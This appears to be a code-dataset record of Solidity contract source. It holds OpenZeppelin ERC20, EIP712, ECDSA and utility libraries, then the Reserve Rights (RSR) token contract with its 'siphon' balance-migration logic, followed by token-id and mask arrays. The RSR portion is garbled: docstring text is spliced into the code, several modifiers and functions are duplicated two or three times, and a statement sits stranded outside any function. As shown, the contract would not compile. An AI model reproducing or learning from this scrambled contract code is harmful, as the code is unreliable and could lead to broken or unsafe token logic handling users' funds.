/** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/cryptography/draft-EIP712.sol) pragma solidity ^0.8.0; import "./ECDSA.sol"; /** * @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data. * * The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible, * thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding * they need in their contracts using a combination of `abi.encode` and `keccak256`. * * This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding * scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA * ({_hashTypedDataV4}). * * The implementation of the domain separator was designed to be as efficient as possible while still properly updating * the chain id to protect against replay attacks on an eventual fork of the chain. * * NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method * https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask]. * * _Available since v3.4._ */ abstract contract EIP712 { /* solhint-disable var-name-mixedcase */ // Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to // invalidate the cached domain separator if the chain id changes. bytes32 private immutable _CACHED_DOMAIN_SEPARATOR; uint256 private immutable _CACHED_CHAIN_ID; address private immutable _CACHED_THIS; bytes32 private immutable _HASHED_NAME; bytes32 private immutable _HASHED_VERSION; bytes32 private immutable _TYPE_HASH; /* solhint-enable var-name-mixedcase */ /** * @dev Initializes the domain separator and parameter caches. * * The meaning of `name` and `version` is specified in * https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]: * * - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol. * - `version`: the current major version of the signing domain. * * NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart * contract upgrade]. */ constructor(string memory name, string memory version) { bytes32 hashedName = keccak256(bytes(name)); bytes32 hashedVersion = keccak256(bytes(version)); bytes32 typeHash = keccak256( "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)" ); _HASHED_NAME = hashedName; _HASHED_VERSION = hashedVersion; _CACHED_CHAIN_ID = block.chainid; _CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(typeHash, hashedName, hashedVersion); _CACHED_THIS = address(this); _TYPE_HASH = typeHash; } /** * @dev Returns the domain separator for the current chain. */ function _domainSeparatorV4() internal view returns (bytes32) { if (address(this) == _CACHED_THIS && block.chainid == _CACHED_CHAIN_ID) { return _CACHED_DOMAIN_SEPARATOR; } else { return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION); } } function _buildDomainSeparator( bytes32 typeHash, bytes32 nameHash, bytes32 versionHash ) private view returns (bytes32) { return keccak256(abi.encode(typeHash, nameHash, versionHash, block.chainid, address(this))); } /** * @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this * function returns the hash of the fully encoded EIP712 message for this domain. * * This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example: * * ```solidity * bytes32 digest = _hashTypedDataV4(keccak256(abi.encode( * keccak256("Mail(address to,string contents)"), * mailTo, * keccak256(bytes(mailContents)) * ))); * address signer = ECDSA.recover(digest, signature); * ``` */ function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) { return ECDSA.toTypedDataHash(_domainSeparatorV4(), structHash); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/cryptography/ECDSA.sol) pragma solidity ^0.8.0; import "../Strings.sol"; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature` or error string. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] * * _Available since v4.3._ */ function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.3._ */ function tryRecover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address, RecoverError) { bytes32 s; uint8 v; assembly { s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) v := add(shr(255, vs), 27) } return tryRecover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. * * _Available since v4.3._ */ function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Message, created from `s`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: BlueOak-1.0.0 pragma solidity 0.8.4; /** * @title Spell * @dev A one-time-use atomic sequence of actions, hasBeenCast by RSR for contract changes. */ abstract contract Spell { address public immutable rsrAddr; bool public hasBeenCast; constructor(address rsr_) { rsrAddr = rsr_; } function cast() external { require(msg.sender == rsrAddr, "rsr only"); require(!hasBeenCast, "spell already cast"); hasBeenCast = true; spell(); } /// A derived Spell overrides spell() to enact its intended effects. function spell() internal virtual; }
This token allows the configuration of a rich system of "siphons" to administer the copy pattern of some holder addresses, before the token goes into its WORKING phase./
contract RSR is Pausable, Ownable, Enchantable, ERC20Permit { using EnumerableSet for EnumerableSet.AddressSet; ERC20Pausable public immutable oldRSR; uint64 public constant WEIGHT_ONE = 1e18; uint256 private immutable fixedSupply; The contract is initially deployed into SETUP. During the SETUP phase: - admins can configure siphons - no ERC20 operations can happen - the contract is always paused The contract can transition from SETUP to WORKING only after oldRSR is paused. During that transition, the owner is set to the zero address. In the WORKING phase: - siphons cannot be changed - ERC20 operations happen as usual - the pauser can pause and unpause the contract Once in WORKING, the contract cannot move back to SETUP. pragma solidity 0.8.4; enum Phase { SETUP, WORKING } Phase public phase; address public pauser; ===================== We assume that, once OldRSR is paused, its paused status, balances, and allowances are immutable, and this contract's values for hasWeights, weights, and origins are immutable as well. Before OldRSR is paused, the booleans in balCrossed and allownceCrossed are all false (immutable). After OldRSR is paused, the entries in those maps can change to true. Once the entry value is true, it remains immutable. totalWeight(A, B) = (hasWeights[A] ? weights[A][B] : ((A == B) ? WEIGHT_ONE : 0)) # Properties of balances: For all RSR addresses "A": - If OldRSR is not yet paused, balCrossed[A] is `false`. - Once balCrossed[A] is `true`, it stays `true` forever. - balanceOf(A) == this._balances[A] + (balCrossed[A] ? inheritedBalance(A) : 0) event PauserChanged(address indexed oldPauser, address newPauser); Relative Immutability mapping(address => mapping(address => uint64)) public weights; mapping(address => bool) public hasWeights; mapping(address => EnumerableSet.AddressSet) private origins; mapping(address => bool) public balCrossed; mapping(address => mapping(address => bool)) public allowanceCrossed; inheritedBalance(A) = sum_{all addrs B} ( oldRSR.balanceOf(A) * totalWeight(A,B) / WEIGHT_ONE ) - The function `balanceOf` satisfies all the usual rules for ERC20 tokens. # Properties of allowances: For all addresses A and B, - If OldRSR is not yet paused, then allowanceCrossed[A][B] is false - Once allowanceCrossed[A][B] == true, it stays true forever - allowance(A,B) == allowanceCrossed[A][B] ? this._allowance[A][B] : oldRSR.allowance(A,B) - The function `allowance` satisfies all the usual rules for ERC20 tokens. constructor(address oldRSR_) ERC20("Reserve Rights", "RSR") ERC20Permit("Reserve Rights") { oldRSR = ERC20Pausable(oldRSR_); fixedSupply = ERC20Pausable(oldRSR_).totalSupply(); pauser = _msgSender(); _pause(); phase = Phase.SETUP; } modifier ensureBalCrossed(address from) { if (!balCrossed[from]) { balCrossed[from] = true; _mint(from, _oldBal(from)); } _; } modifier ensureBalCrossed(address from) { if (!balCrossed[from]) { balCrossed[from] = true; _mint(from, _oldBal(from)); } _; } modifier ensureAllowanceCrossed(address from, address to) { if (!allowanceCrossed[from][to]) { allowanceCrossed[from][to] = true; _approve(from, to, oldRSR.allowance(from, to)); } _; } modifier ensureAllowanceCrossed(address from, address to) { if (!allowanceCrossed[from][to]) { allowanceCrossed[from][to] = true; _approve(from, to, oldRSR.allowance(from, to)); } _; } modifier onlyAdminOrPauser() { require( _msgSender() == pauser || _msgSender() == mage() || _msgSender() == owner(), "only pauser, mage, or owner" ); _; } modifier inWorking() { require(phase == Phase.WORKING, "only during working phase"); _; } modifier inSetup() { require(phase == Phase.SETUP, "only during setup phase"); _; } function moveToWorking() external onlyAdmin inSetup { require(oldRSR.paused(), "waiting for oldRSR to pause"); phase = Phase.WORKING; _unpause(); _transferOwnership(address(0)); } function pause() external onlyAdminOrPauser inWorking { _pause(); } function unpause() external onlyAdminOrPauser inWorking { _unpause(); } function changePauser(address newPauser) external onlyAdminOrPauser { require(newPauser != address(0), "use renouncePauser"); emit PauserChanged(pauser, newPauser); pauser = newPauser; } function renouncePauser() external onlyAdminOrPauser { emit PauserChanged(pauser, address(0)); pauser = address(0); } function siphon( address from, address oldTo, address newTo, uint64 weight ) external onlyAdmin inSetup { _siphon(from, oldTo, newTo, weight); } function partiallyCross(address to, uint256 n) public inWorking { if (!balCrossed[to]) { while (origins[to].length() > 0 && n > 0) { address from = origins[to].at(origins[to].length() - 1); _mint(to, (oldRSR.balanceOf(from) * weights[from][to]) / WEIGHT_ONE); weights[from][to] = 0; origins[to].remove(from); n -= 1; } } } function partiallyCross(address to, uint256 n) public inWorking { if (!balCrossed[to]) { while (origins[to].length() > 0 && n > 0) { address from = origins[to].at(origins[to].length() - 1); _mint(to, (oldRSR.balanceOf(from) * weights[from][to]) / WEIGHT_ONE); weights[from][to] = 0; origins[to].remove(from); n -= 1; } } } function partiallyCross(address to, uint256 n) public inWorking { if (!balCrossed[to]) { while (origins[to].length() > 0 && n > 0) { address from = origins[to].at(origins[to].length() - 1); _mint(to, (oldRSR.balanceOf(from) * weights[from][to]) / WEIGHT_ONE); weights[from][to] = 0; origins[to].remove(from); n -= 1; } } } function transfer(address recipient, uint256 amount) public override whenNotPaused ensureBalCrossed(_msgSender()) returns (bool) { require(recipient != address(this), "no transfers to this token address"); return super.transfer(recipient, amount); } function transferFrom( address sender, address recipient, uint256 amount ) public override whenNotPaused ensureBalCrossed(sender) ensureAllowanceCrossed(sender, _msgSender()) returns (bool) { require(recipient != address(this), "no transfers to this token address"); return super.transferFrom(sender, recipient, amount); } function approve(address spender, uint256 amount) public override whenNotPaused returns (bool) { _approve(_msgSender(), spender, amount); allowanceCrossed[_msgSender()][spender] = true; return true; } function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) public override whenNotPaused { super.permit(owner, spender, value, deadline, v, r, s); allowanceCrossed[owner][spender] = true; } function increaseAllowance(address spender, uint256 addedValue) public override whenNotPaused ensureAllowanceCrossed(_msgSender(), spender) returns (bool) { return super.increaseAllowance(spender, addedValue); } function decreaseAllowance(address spender, uint256 subbedValue) public override whenNotPaused ensureAllowanceCrossed(_msgSender(), spender) returns (bool) { return super.decreaseAllowance(spender, subbedValue); } function totalSupply() public view override returns (uint256) { return fixedSupply; } function balanceOf(address account) public view override returns (uint256) { if (balCrossed[account]) { return super.balanceOf(account); } return _oldBal(account) + super.balanceOf(account); } function balanceOf(address account) public view override returns (uint256) { if (balCrossed[account]) { return super.balanceOf(account); } return _oldBal(account) + super.balanceOf(account); } function allowance(address owner, address spender) public view override returns (uint256) { if (allowanceCrossed[owner][spender]) { return super.allowance(owner, spender); } return oldRSR.allowance(owner, spender); } function allowance(address owner, address spender) public view override returns (uint256) { if (allowanceCrossed[owner][spender]) { return super.allowance(owner, spender); } return oldRSR.allowance(owner, spender); } function _siphon( address from, address oldTo, address newTo, uint64 weight ) internal { if (!hasWeights[from]) { origins[from].add(from); weights[from][from] = WEIGHT_ONE; hasWeights[from] = true; } require(weight <= weights[from][oldTo], "weight too big"); require(from != address(0), "from cannot be zero address"); weights[from][newTo] += weight; origins[newTo].add(from); } function _siphon( address from, address oldTo, address newTo, uint64 weight ) internal { if (!hasWeights[from]) { origins[from].add(from); weights[from][from] = WEIGHT_ONE; hasWeights[from] = true; } require(weight <= weights[from][oldTo], "weight too big"); require(from != address(0), "from cannot be zero address"); weights[from][newTo] += weight; origins[newTo].add(from); } weights[from][oldTo] -= weight; function _oldBal(address account) internal view returns (uint256 sum) { if (!hasWeights[account]) { sum = oldRSR.balanceOf(account); } for (uint256 i = 0; i < origins[account].length(); i++) { address from = origins[account].at(i); sum += (oldRSR.balanceOf(from) * weights[from][account]) / WEIGHT_ONE; } } function _oldBal(address account) internal view returns (uint256 sum) { if (!hasWeights[account]) { sum = oldRSR.balanceOf(account); } for (uint256 i = 0; i < origins[account].length(); i++) { address from = origins[account].at(i); sum += (oldRSR.balanceOf(from) * weights[from][account]) / WEIGHT_ONE; } } function _oldBal(address account) internal view returns (uint256 sum) { if (!hasWeights[account]) { sum = oldRSR.balanceOf(account); } for (uint256 i = 0; i < origins[account].length(); i++) { address from = origins[account].at(i); sum += (oldRSR.balanceOf(from) * weights[from][account]) / WEIGHT_ONE; } } }
14,029,106
[ 1, 2503, 1147, 5360, 326, 1664, 434, 279, 23657, 2619, 434, 315, 87, 16045, 7008, 6, 358, 3981, 1249, 326, 1610, 1936, 434, 2690, 10438, 6138, 16, 1865, 326, 1147, 13998, 1368, 2097, 17062, 1360, 6855, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
